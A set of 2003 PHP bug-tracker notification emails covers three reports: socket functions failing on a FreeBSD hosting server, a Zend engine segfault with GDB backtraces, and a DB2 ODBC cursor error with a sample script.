From: anton at valuehost dot ru Operating system: FreeBSD 4.8 PHP version: 4.3.2 PHP Bug Type: Sockets related Bug description: big problem on stream function Description: phpinfo: http://v6test.valuehost.ru/phpinfo.php The problem has the following character, after long work php as mod_php in apache, various variations of sockets, fsockopen, include, fopen and etc cease to work. As did not work and curl, but it managed to be solved rebuild libcurl with FD_SETSIZE=16384 (sys/types.h). Such sensation that descriptors come to an end. At occurrence of this problem fsockopen starts to return a mistake Operation now in progress Function include in general causes Segmentation fault (11) Unfortunately there is no opportunity to include an option debug as ZendOptimazer does not work in debug a mode. -- Edit bug report at http://bugs.php.net/?id=24189edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=24189r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=24189r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=24189r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=24189r=needtrace Try newer version: http://bugs.php.net/fix.php?id=24189r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=24189r=support Expected behavior: http://bugs.php.net/fix.php?id=24189r=notwrong Not enough info:http://bugs.php.net/fix.php?id=24189r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=24189r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=24189r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=24189r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=24189r=dst IIS Stability: http://bugs.php.net/fix.php?id=24189r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=24189r=gnused
#24189 [Fbk-Opn]: big problem on stream function
ID: 24189 User updated by: anton at valuehost dot ru Reported By: anton at valuehost dot ru -Status: Feedback +Status: Open Bug Type: Sockets related Operating System: FreeBSD 4.8 PHP Version: 4.3.2 New Comment: I cannot use - enable-debug as ZendOptimazer does not work with this option: ( Previous Comments: [2003-06-15 07:32:53] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. Please try without the ZendOptimizer. [2003-06-15 07:31:00] anton at valuehost dot ru Description: phpinfo: http://v6test.valuehost.ru/phpinfo.php The problem has the following character, after long work php as mod_php in apache, various variations of sockets, fsockopen, include, fopen and etc cease to work. As did not work and curl, but it managed to be solved rebuild libcurl with FD_SETSIZE=16384 (sys/types.h). Such sensation that descriptors come to an end. At occurrence of this problem fsockopen starts to return a mistake Operation now in progress Function include in general causes Segmentation fault (11) Unfortunately there is no opportunity to include an option debug as ZendOptimazer does not work in debug a mode. -- Edit this bug report at http://bugs.php.net/?id=24189edit=1
#24189 [Fbk-Opn]: big problem on stream function
ID: 24189 User updated by: anton at valuehost dot ru Reported By: anton at valuehost dot ru -Status: Feedback +Status: Open Bug Type: Sockets related Operating System: FreeBSD 4.8 PHP Version: 4.3.2 New Comment: if to make apachectl restart the problem will disappear for some time, but after a while it proves again while it was necessary to make restart on cron each 4 hours. And the problem does not disappear if to do killall -HUP httpd. Previous Comments: [2003-06-15 07:41:32] [EMAIL PROTECTED] Then turn it off! [2003-06-15 07:36:12] anton at valuehost dot ru I cannot use - enable-debug as ZendOptimazer does not work with this option: ( [2003-06-15 07:32:53] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. Please try without the ZendOptimizer. [2003-06-15 07:31:00] anton at valuehost dot ru Description: phpinfo: http://v6test.valuehost.ru/phpinfo.php The problem has the following character, after long work php as mod_php in apache, various variations of sockets, fsockopen, include, fopen and etc cease to work. As did not work and curl, but it managed to be solved rebuild libcurl with FD_SETSIZE=16384 (sys/types.h). Such sensation that descriptors come to an end. At occurrence of this problem fsockopen starts to return a mistake Operation now in progress Function include in general causes Segmentation fault (11) Unfortunately there is no opportunity to include an option debug as ZendOptimazer does not work in debug a mode. -- Edit this bug report at http://bugs.php.net/?id=24189edit=1
#24189 [Opn]: big problem on stream function
ID: 24189 User updated by: anton at valuehost dot ru Reported By: anton at valuehost dot ru Status: Open Bug Type: Sockets related Operating System: FreeBSD 4.8 PHP Version: 4.3.2 New Comment: It is impossible to switch off ZendOptimazer, on servers is from 500 up to 1500 sites, the some people use Zend if we shall switch off it at us there will be problems. Let's think as it is possible to make it without deenergizing, can be ktrace will approach? Previous Comments: [2003-06-15 07:45:46] anton at valuehost dot ru if to make apachectl restart the problem will disappear for some time, but after a while it proves again while it was necessary to make restart on cron each 4 hours. And the problem does not disappear if to do killall -HUP httpd. [2003-06-15 07:41:32] [EMAIL PROTECTED] Then turn it off! [2003-06-15 07:36:12] anton at valuehost dot ru I cannot use - enable-debug as ZendOptimazer does not work with this option: ( [2003-06-15 07:32:53] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. Please try without the ZendOptimizer. [2003-06-15 07:31:00] anton at valuehost dot ru Description: phpinfo: http://v6test.valuehost.ru/phpinfo.php The problem has the following character, after long work php as mod_php in apache, various variations of sockets, fsockopen, include, fopen and etc cease to work. As did not work and curl, but it managed to be solved rebuild libcurl with FD_SETSIZE=16384 (sys/types.h). Such sensation that descriptors come to an end. At occurrence of this problem fsockopen starts to return a mistake Operation now in progress Function include in general causes Segmentation fault (11) Unfortunately there is no opportunity to include an option debug as ZendOptimazer does not work in debug a mode. -- Edit this bug report at http://bugs.php.net/?id=24189edit=1
#24189 [Fbk-Opn]: big problem on stream function
ID: 24189 User updated by: anton at valuehost dot ru Reported By: anton at valuehost dot ru -Status: Feedback +Status: Open Bug Type: Sockets related Operating System: FreeBSD 4.8 PHP Version: 4.3.2 New Comment: In it that all and the problem, on dev server to us was not possible to receive this mistake. The problem arises on production a level what from scripts of users of her causes to understand not really, we hold over 25000 sites. We at once find out any mistakes and we celebrate them quickly enough, and this of us has led up a blind alley :( But I can tell precisely, that all functions which work with socket cease to work, what that restriction on work mod_php is imposed. Previous Comments: [2003-06-15 10:25:52] [EMAIL PROTECTED] You should have a dev machine to test this on. Just leave ZendOptimizer out. If you can't do this and can't provide decent backtrace, we can't fix anything. [2003-06-15 07:49:27] anton at valuehost dot ru It is impossible to switch off ZendOptimazer, on servers is from 500 up to 1500 sites, the some people use Zend if we shall switch off it at us there will be problems. Let's think as it is possible to make it without deenergizing, can be ktrace will approach? [2003-06-15 07:45:46] anton at valuehost dot ru if to make apachectl restart the problem will disappear for some time, but after a while it proves again while it was necessary to make restart on cron each 4 hours. And the problem does not disappear if to do killall -HUP httpd. [2003-06-15 07:41:32] [EMAIL PROTECTED] Then turn it off! [2003-06-15 07:36:12] anton at valuehost dot ru I cannot use - enable-debug as ZendOptimazer does not work with this option: ( The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24189 -- Edit this bug report at http://bugs.php.net/?id=24189edit=1
#24189 [Bgs-Csd]: big problem on stream function
ID: 24189 User updated by: anton at valuehost dot ru Reported By: anton at valuehost dot ru -Status: Bogus +Status: Closed Bug Type: Sockets related Operating System: FreeBSD 4.8 PHP Version: 4.3.2 New Comment: Do not want to help well and it is not necessary, in backtrace I and itself can understand. Previous Comments: [2003-06-15 10:58:08] [EMAIL PROTECTED] Not enough information - bogus. (get rid of the zendoptimizer on some machine and provide a backtrace, otherwise - not bug) [2003-06-15 10:55:20] anton at valuehost dot ru In it that all and the problem, on dev server to us was not possible to receive this mistake. The problem arises on production a level what from scripts of users of her causes to understand not really, we hold over 25000 sites. We at once find out any mistakes and we celebrate them quickly enough, and this of us has led up a blind alley :( But I can tell precisely, that all functions which work with socket cease to work, what that restriction on work mod_php is imposed. [2003-06-15 10:25:52] [EMAIL PROTECTED] You should have a dev machine to test this on. Just leave ZendOptimizer out. If you can't do this and can't provide decent backtrace, we can't fix anything. [2003-06-15 07:49:27] anton at valuehost dot ru It is impossible to switch off ZendOptimazer, on servers is from 500 up to 1500 sites, the some people use Zend if we shall switch off it at us there will be problems. Let's think as it is possible to make it without deenergizing, can be ktrace will approach? [2003-06-15 07:45:46] anton at valuehost dot ru if to make apachectl restart the problem will disappear for some time, but after a while it proves again while it was necessary to make restart on cron each 4 hours. And the problem does not disappear if to do killall -HUP httpd. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24189 -- Edit this bug report at http://bugs.php.net/?id=24189edit=1
#23952 [Fbk-Opn]: segmentation fault during script execution under apache
ID: 23952 User updated by: anton at ur dot ru Reported By: anton at ur dot ru -Status: Feedback +Status: Open Bug Type: Scripting Engine problem Operating System: FreeBSD 4.8-STABLE PHP Version: 4.3.2 New Comment: Can i send you via email this script and all included files ? I have this error not only in this script - lot of scripts on my server causes this error. I'l try CVS snapshot tomorrow. I have to say, that i see this error in php 4.3.* Scripts works fine in php 4.2.2 and older. Previous Comments: [2003-06-02 10:36:59] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip Also, without a complete script it is impossible for us to start looking where the bug might be. (it's like looking for a needle in haystack, without a magnet :) First you need to include everything in one file (no include()'s or other external references) and then work your way down reducing the code piece by piece until you get the shortest possible script causing the crash. It looks like your script is causing some error, and the error output procedure crashes when trying to figure out the line of where the error happens.. [2003-06-02 07:04:43] anton at ur dot ru I don't have a short script and i can't reproduce it in short script. http://www.uralweb.ru/region/index.phps - this is a script that causes described error [2003-06-02 06:56:10] [EMAIL PROTECTED] Can you please post a short script so that we can try to reproduce this too? [2003-06-02 06:47:36] anton at ur dot ru GDB backtrace: Program received signal SIGSEGV, Segmentation fault. 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 271 return active_opline-lineno; (gdb) bt #0 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 #1 0x8092526 in zend_error (type=8, format=0x81e869b Undefined index: %s) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:715 #2 0x809b7ac in zend_fetch_dimension_address (result=0x83d5420, op1=0x83d5430, op2=0x83d5440, Ts=0xbfbf9568, type=0) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:658 #3 0x809e75a in execute (op_array=0x836e38c) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:1273 #4 0x80928b0 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:869 #5 0x8074abb in php_execute_script (primary_file=0xbfbff71c) at /usr/src-new/.apache/php-4.3.2/main/main.c:1671 #6 0x80a746e in apache_php_module_main (r=0x82f7034, display_source_mode=0) at /usr/src-new/.apache/php-4.3.2/sapi/apache/sapi_apache.c:54 #7 0x806c9b8 in send_php () #8 0x806cfa8 in send_parsed_php () #9 0x815feb1 in ap_invoke_handler () #10 0x8172dcc in process_request_internal () #11 0x817317d in ap_process_request () #12 0x81697aa in child_main () #13 0x81699a4 in make_child () #14 0x816a12b in standalone_main () #15 0x816aab3 in main () #16 0x806c27e in _start () Configure: ./configure \ --with-config-file-path=/usr/local/etc \ --with-mysql=/usr/servers/mysql \ --enable-discard-path \ --enable-track-vars \ --enable-dbase \ --enable-memory-limit \ --enable-ftp \ --enable-debug \ --with-imap \ --with-curl \ --disable-cli \ --with-apache=../apache_1.3.27rusPL30.17 \ -- Edit this bug report at http://bugs.php.net/?id=23952edit=1
#23952 [Fbk-Opn]: segmentation fault during script execution under apache
ID: 23952 User updated by: anton at ur dot ru Reported By: anton at ur dot ru -Status: Feedback +Status: Open Bug Type: Scripting Engine problem Operating System: FreeBSD 4.8-STABLE PHP Version: 4.3.2 New Comment: I've installed the snapshot. Result is the same: Program received signal SIGSEGV, Segmentation fault. 0x8097db7 in zend_get_executed_lineno () at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend_execute_API.c:271 271 return active_opline-lineno; Program received signal SIGSEGV, Segmentation fault. #0 0x8097db7 in zend_get_executed_lineno () at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend_execute_API.c:271 #1 0x80a1b36 in zend_error (type=8, format=0x8233b3b Undefined index: %s) at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend.c:733 #2 0x80b711b in zend_fetch_dimension_address_inner (ht=0x844de24, op2=0x8428458, Ts=0xbfbf9618, type=0) at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend_execute.c:626 #3 0x80aedbb in zend_fetch_dimension_address (result=0x8428438, op1=0x8428448, op2=0x8428458, Ts=0xbfbf9618, type=0) at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend_execute.c:777 #4 0x80b0bec in execute (op_array=0x83c12a4) at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend_execute.c:1273 #5 0x80a2095 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /usr/src-new/.apache/php4-STABLE-200306021730/Zend/zend.c:887 #6 0x8076caf in php_execute_script (primary_file=0xbfbff708) at /usr/src-new/.apache/php4-STABLE-200306021730/main/main.c:1683 #7 0x80b739e in apache_php_module_main (r=0x8347034, display_source_mode=0) at /usr/src-new/.apache/php4-STABLE-200306021730/sapi/apache/sapi_apache.c:5 Previous Comments: [2003-06-02 13:00:59] [EMAIL PROTECTED] No, don't send me the files. Just try the snapshot first. [2003-06-02 12:35:24] anton at ur dot ru Can i send you via email this script and all included files ? I have this error not only in this script - lot of scripts on my server causes this error. I'l try CVS snapshot tomorrow. I have to say, that i see this error in php 4.3.* Scripts works fine in php 4.2.2 and older. [2003-06-02 10:36:59] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip Also, without a complete script it is impossible for us to start looking where the bug might be. (it's like looking for a needle in haystack, without a magnet :) First you need to include everything in one file (no include()'s or other external references) and then work your way down reducing the code piece by piece until you get the shortest possible script causing the crash. It looks like your script is causing some error, and the error output procedure crashes when trying to figure out the line of where the error happens.. [2003-06-02 07:04:43] anton at ur dot ru I don't have a short script and i can't reproduce it in short script. http://www.uralweb.ru/region/index.phps - this is a script that causes described error [2003-06-02 06:56:10] [EMAIL PROTECTED] Can you please post a short script so that we can try to reproduce this too? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/23952 -- Edit this bug report at http://bugs.php.net/?id=23952edit=1
#23952 [NEW]: segmentation fault during script execution under apache
From: anton at ur dot ru Operating system: FreeBSD 4.8-STABLE PHP version: 4.3.2 PHP Bug Type: Scripting Engine problem Bug description: segmentation fault during script execution under apache GDB backtrace: Program received signal SIGSEGV, Segmentation fault. 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 271 return active_opline-lineno; (gdb) bt #0 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 #1 0x8092526 in zend_error (type=8, format=0x81e869b Undefined index: %s) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:715 #2 0x809b7ac in zend_fetch_dimension_address (result=0x83d5420, op1=0x83d5430, op2=0x83d5440, Ts=0xbfbf9568, type=0) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:658 #3 0x809e75a in execute (op_array=0x836e38c) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:1273 #4 0x80928b0 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:869 #5 0x8074abb in php_execute_script (primary_file=0xbfbff71c) at /usr/src-new/.apache/php-4.3.2/main/main.c:1671 #6 0x80a746e in apache_php_module_main (r=0x82f7034, display_source_mode=0) at /usr/src-new/.apache/php-4.3.2/sapi/apache/sapi_apache.c:54 #7 0x806c9b8 in send_php () #8 0x806cfa8 in send_parsed_php () #9 0x815feb1 in ap_invoke_handler () #10 0x8172dcc in process_request_internal () #11 0x817317d in ap_process_request () #12 0x81697aa in child_main () #13 0x81699a4 in make_child () #14 0x816a12b in standalone_main () #15 0x816aab3 in main () #16 0x806c27e in _start () Configure: ./configure \ --with-config-file-path=/usr/local/etc \ --with-mysql=/usr/servers/mysql \ --enable-discard-path \ --enable-track-vars \ --enable-dbase \ --enable-memory-limit \ --enable-ftp \ --enable-debug \ --with-imap \ --with-curl \ --disable-cli \ --with-apache=../apache_1.3.27rusPL30.17 \ -- Edit bug report at http://bugs.php.net/?id=23952edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=23952r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=23952r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=23952r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=23952r=needtrace Try newer version: http://bugs.php.net/fix.php?id=23952r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=23952r=support Expected behavior: http://bugs.php.net/fix.php?id=23952r=notwrong Not enough info:http://bugs.php.net/fix.php?id=23952r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=23952r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=23952r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=23952r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=23952r=dst IIS Stability: http://bugs.php.net/fix.php?id=23952r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=23952r=gnused
#23952 [Fbk-Opn]: segmentation fault during script execution under apache
ID: 23952 User updated by: anton at ur dot ru Reported By: anton at ur dot ru -Status: Feedback +Status: Open Bug Type: Scripting Engine problem Operating System: FreeBSD 4.8-STABLE PHP Version: 4.3.2 New Comment: I don't have a short script and i can't reproduce it in short script. http://www.uralweb.ru/region/index.phps - this is a script that causes described error Previous Comments: [2003-06-02 06:56:10] [EMAIL PROTECTED] Can you please post a short script so that we can try to reproduce this too? [2003-06-02 06:47:36] anton at ur dot ru GDB backtrace: Program received signal SIGSEGV, Segmentation fault. 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 271 return active_opline-lineno; (gdb) bt #0 0x808aef2 in zend_get_executed_lineno () at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute_API.c:271 #1 0x8092526 in zend_error (type=8, format=0x81e869b Undefined index: %s) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:715 #2 0x809b7ac in zend_fetch_dimension_address (result=0x83d5420, op1=0x83d5430, op2=0x83d5440, Ts=0xbfbf9568, type=0) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:658 #3 0x809e75a in execute (op_array=0x836e38c) at /usr/src-new/.apache/php-4.3.2/Zend/zend_execute.c:1273 #4 0x80928b0 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /usr/src-new/.apache/php-4.3.2/Zend/zend.c:869 #5 0x8074abb in php_execute_script (primary_file=0xbfbff71c) at /usr/src-new/.apache/php-4.3.2/main/main.c:1671 #6 0x80a746e in apache_php_module_main (r=0x82f7034, display_source_mode=0) at /usr/src-new/.apache/php-4.3.2/sapi/apache/sapi_apache.c:54 #7 0x806c9b8 in send_php () #8 0x806cfa8 in send_parsed_php () #9 0x815feb1 in ap_invoke_handler () #10 0x8172dcc in process_request_internal () #11 0x817317d in ap_process_request () #12 0x81697aa in child_main () #13 0x81699a4 in make_child () #14 0x816a12b in standalone_main () #15 0x816aab3 in main () #16 0x806c27e in _start () Configure: ./configure \ --with-config-file-path=/usr/local/etc \ --with-mysql=/usr/servers/mysql \ --enable-discard-path \ --enable-track-vars \ --enable-dbase \ --enable-memory-limit \ --enable-ftp \ --enable-debug \ --with-imap \ --with-curl \ --disable-cli \ --with-apache=../apache_1.3.27rusPL30.17 \ -- Edit this bug report at http://bugs.php.net/?id=23952edit=1
#22971 [Opn]: Error in odbc_prepare or in odbc_connect?
ID: 22971 User updated by: anton at esrr dot ru Reported By: anton at esrr dot ru Status: Open -Bug Type: ODBC related +Bug Type: DBM/DBA related Operating System: Linux RedHat 8 PHP Version: 4.3.1 New Comment: . Previous Comments: [2003-03-30 22:38:16] anton at esrr dot ru Sorry for my english. I've php + Db2.(./configure --with-ibm-db2=/home/db2inst1/sqllib) Now. For exaple, i'm trying to execute such script: ?php function dbconnect($verbose) { $dbname = SAMPLE; $username = db2inst1; $password = ibmdb2; // odbc_connect returns 0 if the connection attempt fails; // otherwise it returns a connection ID used by other ODBC functions $dbconn = odbc_connect($dbname, $username, $password); if (($verbose == TRUE) ($dbconn == 0)) { echo(Connection to database failed.); $sqlerror = odbc_errormsg($dbconn); echo($sqlerror); } else echo connection successfull\n; $q=Select count(*) from SYSIBM.SYSTABLES; echo preparing query; $rs=odbc_prepare($dbconn,$q); return($dbconn); } dbconnect(TRUE); ? And I'm getting next result: [EMAIL PROTECTED] htdocs]$ php ./tdb.php connection successfull preparing query Warning: SQL error: [IBM][CLI Driver][DB2] SQL0228N FOR UPDATE clause specified for read-only cursor SQLCUR4 . SQLSTATE=42620 , SQL state 42620 in SQLPrepare in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ [EMAIL PROTECTED] htdocs]$ db2 ? SQL0228N SQL0228N FOR UPDATE clause specified for read-only cursor cursor-name. Explanation: Cursor cursor-name is defined as INSENSITIVE SCROLL, but the corresponding SELECT statement contains a FOR UPDATE clause. The statement cannot be processed. User Response: To define a read-only cursor, specify INSENSITIVE on DECLARE CURSOR, but do not specify the FOR UPDATE clause as part of the SELECT statement of the cursor. sqlcode: -228 sqlstate: 42620 I think that in function odbc_prepare cursor is created. So I'm trying to add parameter SQL_CUR_USE_ODBC to connect string. That is $dbconn = odbc_connect($dbname, $username, $password,SQL_CUR_USE_ODBC ). Result is changed, but it is wrong result: php ./tdb.php Warning: SQL error: [IBM][CLI Driver] CLI0150E Driver not capable. SQLSTATE=S1C00, SQL state S1C00 in SQLSetConnectOption in /usr/local/apache/htdocs/tdb.php on line 10 Connection to database failed. Warning: odbc_errormsg(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 14 preparing query Warning: odbc_prepare(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ db2 ? CLI0150E CLI0150E Driver not capable. Explanation: The operation is valid but not supported by either the driver or the data source. User Response: Specify a valid operation. [EMAIL PROTECTED] htdocs]$ Where is problem in odbc_connect, odbc_prepare or in my mind? HELP PLEASE! -- Edit this bug report at http://bugs.php.net/?id=22971edit=1
#22971 [Fbk-Opn]: Error in odbc_prepare or in odbc_connect?
ID: 22971 User updated by: anton at esrr dot ru Reported By: anton at esrr dot ru -Status: Feedback +Status: Open Bug Type: ODBC related Operating System: Linux RedHat 8 PHP Version: 4.3.1 New Comment: You had the correct category before, IBMs DB2 uses ODBC. Try calling odbc_set_option and changing your CURSOR to SQL_CURSOR_FORWARD_ONLY, this should fix a few things for your DB2 install. Ok. I'll try. Thank you. But on this moment the positive result has achieved by commenting out strings containing #define HAVE_SQL_EXTENDED_FETCH 1 in php_odbc_includes.h, as described in Bug #9869 (http://bugs.php.net/bug.php?id=9869). I commented out all lines with this string, but I think that DB2 CLI part enough. Previous Comments: [2003-04-02 18:41:43] [EMAIL PROTECTED] You had the correct category before, IBMs DB2 uses ODBC. Try calling odbc_set_option and changing your CURSOR to SQL_CURSOR_FORWARD_ONLY, this should fix a few things for your DB2 install. [2003-04-02 18:23:48] anton at esrr dot ru . [2003-03-30 22:38:16] anton at esrr dot ru Sorry for my english. I've php + Db2.(./configure --with-ibm-db2=/home/db2inst1/sqllib) Now. For exaple, i'm trying to execute such script: ?php function dbconnect($verbose) { $dbname = SAMPLE; $username = db2inst1; $password = ibmdb2; // odbc_connect returns 0 if the connection attempt fails; // otherwise it returns a connection ID used by other ODBC functions $dbconn = odbc_connect($dbname, $username, $password); if (($verbose == TRUE) ($dbconn == 0)) { echo(Connection to database failed.); $sqlerror = odbc_errormsg($dbconn); echo($sqlerror); } else echo connection successfull\n; $q=Select count(*) from SYSIBM.SYSTABLES; echo preparing query; $rs=odbc_prepare($dbconn,$q); return($dbconn); } dbconnect(TRUE); ? And I'm getting next result: [EMAIL PROTECTED] htdocs]$ php ./tdb.php connection successfull preparing query Warning: SQL error: [IBM][CLI Driver][DB2] SQL0228N FOR UPDATE clause specified for read-only cursor SQLCUR4 . SQLSTATE=42620 , SQL state 42620 in SQLPrepare in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ [EMAIL PROTECTED] htdocs]$ db2 ? SQL0228N SQL0228N FOR UPDATE clause specified for read-only cursor cursor-name. Explanation: Cursor cursor-name is defined as INSENSITIVE SCROLL, but the corresponding SELECT statement contains a FOR UPDATE clause. The statement cannot be processed. User Response: To define a read-only cursor, specify INSENSITIVE on DECLARE CURSOR, but do not specify the FOR UPDATE clause as part of the SELECT statement of the cursor. sqlcode: -228 sqlstate: 42620 I think that in function odbc_prepare cursor is created. So I'm trying to add parameter SQL_CUR_USE_ODBC to connect string. That is $dbconn = odbc_connect($dbname, $username, $password,SQL_CUR_USE_ODBC ). Result is changed, but it is wrong result: php ./tdb.php Warning: SQL error: [IBM][CLI Driver] CLI0150E Driver not capable. SQLSTATE=S1C00, SQL state S1C00 in SQLSetConnectOption in /usr/local/apache/htdocs/tdb.php on line 10 Connection to database failed. Warning: odbc_errormsg(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 14 preparing query Warning: odbc_prepare(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ db2 ? CLI0150E CLI0150E Driver not capable. Explanation: The operation is valid but not supported by either the driver or the data source. User Response: Specify a valid operation. [EMAIL PROTECTED] htdocs]$ Where is problem in odbc_connect, odbc_prepare or in my mind? HELP PLEASE! -- Edit this bug report at http://bugs.php.net/?id=22971edit=1
#22971 [NEW]: Error in odbc_prepare or in odbc_connect?
From: anton at esrr dot ru Operating system: Linux RedHat 8 PHP version: 4.3.1 PHP Bug Type: ODBC related Bug description: Error in odbc_prepare or in odbc_connect? Sorry for my english. I've php + Db2.(./configure --with-ibm-db2=/home/db2inst1/sqllib) Now. For exaple, i'm trying to execute such script: ?php function dbconnect($verbose) { $dbname = SAMPLE; $username = db2inst1; $password = ibmdb2; // odbc_connect returns 0 if the connection attempt fails; // otherwise it returns a connection ID used by other ODBC functions $dbconn = odbc_connect($dbname, $username, $password); if (($verbose == TRUE) ($dbconn == 0)) { echo(Connection to database failed.); $sqlerror = odbc_errormsg($dbconn); echo($sqlerror); } else echo connection successfull\n; $q=Select count(*) from SYSIBM.SYSTABLES; echo preparing query; $rs=odbc_prepare($dbconn,$q); return($dbconn); } dbconnect(TRUE); ? And I'm getting next result: [EMAIL PROTECTED] htdocs]$ php ./tdb.php connection successfull preparing query Warning: SQL error: [IBM][CLI Driver][DB2] SQL0228N FOR UPDATE clause specified for read-only cursor SQLCUR4 . SQLSTATE=42620 , SQL state 42620 in SQLPrepare in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ [EMAIL PROTECTED] htdocs]$ db2 ? SQL0228N SQL0228N FOR UPDATE clause specified for read-only cursor cursor-name. Explanation: Cursor cursor-name is defined as INSENSITIVE SCROLL, but the corresponding SELECT statement contains a FOR UPDATE clause. The statement cannot be processed. User Response: To define a read-only cursor, specify INSENSITIVE on DECLARE CURSOR, but do not specify the FOR UPDATE clause as part of the SELECT statement of the cursor. sqlcode: -228 sqlstate: 42620 I think that in function odbc_prepare cursor is created. So I'm trying to add parameter SQL_CUR_USE_ODBC to connect string. That is $dbconn = odbc_connect($dbname, $username, $password,SQL_CUR_USE_ODBC ). Result is changed, but it is wrong result: php ./tdb.php Warning: SQL error: [IBM][CLI Driver] CLI0150E Driver not capable. SQLSTATE=S1C00, SQL state S1C00 in SQLSetConnectOption in /usr/local/apache/htdocs/tdb.php on line 10 Connection to database failed. Warning: odbc_errormsg(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 14 preparing query Warning: odbc_prepare(): supplied argument is not a valid ODBC-Link resource in /usr/local/apache/htdocs/tdb.php on line 20 [EMAIL PROTECTED] htdocs]$ db2 ? CLI0150E CLI0150E Driver not capable. Explanation: The operation is valid but not supported by either the driver or the data source. User Response: Specify a valid operation. [EMAIL PROTECTED] htdocs]$ Where is problem in odbc_connect, odbc_prepare or in my mind? HELP PLEASE! -- Edit bug report at http://bugs.php.net/?id=22971edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=22971r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=22971r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=22971r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=22971r=needtrace Try newer version: http://bugs.php.net/fix.php?id=22971r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=22971r=support Expected behavior: http://bugs.php.net/fix.php?id=22971r=notwrong Not enough info:http://bugs.php.net/fix.php?id=22971r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=22971r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=22971r=globals PHP 3 support discontinued: 